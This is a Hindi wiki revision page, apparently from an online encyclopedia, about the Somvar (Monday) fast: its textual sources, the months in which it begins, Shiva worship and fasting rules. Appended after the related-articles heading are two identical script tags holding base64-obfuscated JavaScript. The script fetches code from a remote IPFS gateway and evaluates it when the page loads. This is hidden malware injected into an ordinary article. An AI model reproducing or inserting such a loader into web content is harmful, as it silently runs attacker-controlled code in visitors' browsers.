आदित्य चौधरी (वार्ता | योगदान) छो (Text replace - "उल्लखित" to "उल्लिखित") |
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==") |
||
पंक्ति 7: | पंक्ति 7: | ||
*अब भी श्रावण के सोमवार विशेष रूप से पवित्र माने जाते हैं। | *अब भी श्रावण के सोमवार विशेष रूप से पवित्र माने जाते हैं। | ||
{{संदर्भ ग्रंथ}} | |||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> |
10:58, 21 मार्च 2011 का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- हेमाद्रि, व्रतार्क, स्मृतिकौस्तुभ, वर्षकृत्यदीपक।[1]
- सामान्य नियम यह है कि श्रावण, वैशाख, कार्तिक या मार्गशीर्ष के प्रथम सोमवार पर आरम्भ करना चाहिए।
- शिव की पूजा करना चाहिए।
- उस दिन पूर्ण उपवास या नक्त रहना चाहिए।
- वर्ष कृत्यदीपक में सोमवारव्रत एवं उसके उद्यापन का विस्तृत ब्यौरा उपस्थित किया गया है।
- अब भी श्रावण के सोमवार विशेष रूप से पवित्र माने जाते हैं।
टीका टिप्पणी और संदर्भ
- ↑ हेमाद्रि (व्रतखण्ड 2, 557-566, केवल 2 का उल्लेख); व्रतार्क (पाण्डुलिपि 379बी-382बी); स्मृतिकौस्तुभ (149); वर्षकृत्यदीपक (437-443)
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>